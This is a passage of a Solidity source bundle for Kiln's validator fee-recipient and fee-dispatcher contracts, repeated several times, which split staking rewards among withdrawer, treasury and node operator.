address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
